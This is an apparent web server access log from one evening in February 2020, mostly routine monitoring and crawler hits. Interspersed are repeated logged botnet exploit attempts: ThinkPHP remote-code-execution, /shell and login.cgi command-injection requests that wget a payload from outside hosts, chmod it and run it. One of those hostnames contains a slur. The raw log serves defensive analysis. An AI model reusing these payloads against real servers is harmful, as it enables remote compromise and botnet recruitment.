188.165.200.217 - - [13/Feb/2020:19:25:51 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
212.91.246.72 - - [13/Feb/2020:19:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.132.82.117 - - [13/Feb/2020:19:26:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.0.196.128 - - [13/Feb/2020:19:27:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.129.26.44 - - [13/Feb/2020:19:30:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.5 - - [13/Feb/2020:19:31:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [13/Feb/2020:19:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.152.186.245 - - [13/Feb/2020:19:31:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:19:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.111.12.199 - - [13/Feb/2020:19:32:35 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [13/Feb/2020:19:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.185.105.50 - - [13/Feb/2020:19:38:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.192.117.209 - - [13/Feb/2020:19:46:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.27.151 - - [13/Feb/2020:19:46:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.215.124.6 - - [13/Feb/2020:19:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:19:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.16.164.54 - - [13/Feb/2020:19:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:19:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [13/Feb/2020:19:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:19:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.75.98.155 - - [13/Feb/2020:19:52:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:19:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.226.167.241 - - [13/Feb/2020:19:54:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:19:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [13/Feb/2020:19:55:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [13/Feb/2020:19:55:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [13/Feb/2020:19:55:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:19:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [13/Feb/2020:19:55:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [13/Feb/2020:19:56:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:19:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:19:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.252.185.215 - - [13/Feb/2020:20:02:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:20:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.35.187 - - [13/Feb/2020:20:04:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.172.54.235 - - [13/Feb/2020:20:07:48 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:20:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [13/Feb/2020:20:09:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [13/Feb/2020:20:09:17 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [13/Feb/2020:20:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [13/Feb/2020:20:09:31 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [13/Feb/2020:20:10:13 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [13/Feb/2020:20:10:27 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [13/Feb/2020:20:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.46 - - [13/Feb/2020:20:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:20:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [13/Feb/2020:20:12:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [13/Feb/2020:20:12:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [13/Feb/2020:20:12:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [13/Feb/2020:20:13:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [13/Feb/2020:20:13:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [13/Feb/2020:20:27:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.47.103.33 - - [13/Feb/2020:20:34:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:20:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.137.182.73 - - [13/Feb/2020:20:40:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.136 - - [13/Feb/2020:20:41:35 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
45.164.180.78 - - [13/Feb/2020:20:42:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:20:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.202 - - [13/Feb/2020:20:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [13/Feb/2020:20:45:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:20:45:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:20:45:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:20:45:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [13/Feb/2020:20:45:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.95.12.29 - - [13/Feb/2020:20:47:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.173.103.214 - - [13/Feb/2020:20:48:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.200.78 - - [13/Feb/2020:20:51:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:20:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.84.236 - - [13/Feb/2020:20:51:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.216.166 - - [13/Feb/2020:20:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.148.19.252 - - [13/Feb/2020:20:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [13/Feb/2020:20:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
